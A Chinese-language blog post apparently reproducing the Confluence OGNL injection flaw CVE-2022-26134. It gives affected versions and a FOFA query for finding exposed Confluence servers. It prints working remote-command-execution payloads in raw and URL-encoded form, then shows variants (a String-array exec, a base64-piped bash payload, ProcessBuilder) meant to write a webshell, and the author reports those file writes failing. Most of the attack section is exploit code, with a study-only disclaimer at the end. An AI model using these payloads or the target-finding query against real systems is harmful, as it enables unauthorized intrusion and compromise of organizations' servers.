1. 漏洞介绍
Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。
2022年6月04日,360CETR监测发现Atlassian官方发布了Confluence OGNL 注入漏洞的风险通告,漏洞编号为CVE-2022-26134,漏洞等级:严重,漏洞评分:9.8。目前该漏洞安全补丁已发布,漏洞细节已公开,POC(概念验证代码)已公开,在野利用已发现。但由于本人太菜的原因,因为无法写入webshell,且目标机不出网等,并未发现该漏洞能造成很大的影响。
2. 影响版本
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
3. 漏洞复现
3.1 fofa语法
"Confluence Data Center" && title=="登录 - Confluence"
3.2 POC
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
url编码
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
3.3 脚本
用法
python3 cve-2022-26134.py url command
4. POC变形尝试写入shell
在遇到rce的目标,我们一般会选择反弹shell或者写入webshell,不过在这里是不出网的,所以反弹shell以及weget下载shell这条路我们走不通,所以选择自己写入webshell。
首先我们尝试随便写入txt文件,touch test.txt
,可以发现,我们创建了test.txt文件
我们尝试向test.txt中写入内容echo test > test.txt
这里我们的命令参数原样输出了,cat test.txt
看一下,果然为空。
这里涉及到java Runtime.exec()
这个方法,在java中Runtime
存在两个exec()
方法,一个是接收字符串,但字符串会破坏我们命令的结构,导致命令后面的>、>>等不会解析,导致echo后面的参数整个输出。一个是接收数组,有兴趣的可以自行了解下,这里不过多阐述。这里需要构造数组传入。
这里有几种方法,第一种,直接在exec()
中构造数组传入new String[] {"/bin/sh","-c", "echo 123 > 1.txt"}
POC1${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new String[] {"/bin/sh","-c", "echo 123 > test.txt"}).getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
url编码%24%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(new%20String%5B%5D%20%7B%22%2Fbin%2Fsh%22%2C%22-c%22%2C%20%22echo%20123%20%3E%20test.txt%22%7D).getInputStream()%2C%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2C%23a))%7D
这里执行失败,估计是过滤了什么东西,尝试其他pocjava.lang.Runtime.exec() Payloadbash -c {echo,ZWNobyBhYWEgPiAxLnR4dA==}|{base64,-d}|{bash,-i}
POC2
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("bash -c {echo,ZWNobyBhYWEgPiAxLnR4dA==}|{base64,-d}|{bash,-i}").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
url编码%24%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%22bash%20-c%20%7Becho%2CZWNobyBhYWEgPiAxLnR4dA%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22).getInputStream()%2C%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2C%23a))%7D
依然失败,后面经过测试发现,只要传入}
就会执行失败,但是}
又是必要的,通过编码也不能执行,在多次尝试失败后,请教了java大佬,再次对poc经过变形,最终发现${(#a=@org.apache.commons.io.IOUtils@toString(new java.lang.ProcessBuilder("id").start().getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
同样可以执行命令。
url编码%24%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(new%20java.lang.ProcessBuilder(%22id%22).start().getInputStream()%2C%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2C%23a))%7D
当我高兴的使用${(#a=@org.apache.commons.io.IOUtils@toString(new java.lang.ProcessBuilder("touch","test.txt").start().getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
创建文件时,发现只是大梦一场空。
严重声明:本站内容仅适用于网络安全技术和信息安全爱好者学习研究使用,禁止用于非法用途,学习中请遵循国家相关法律法规,共同维护网络安全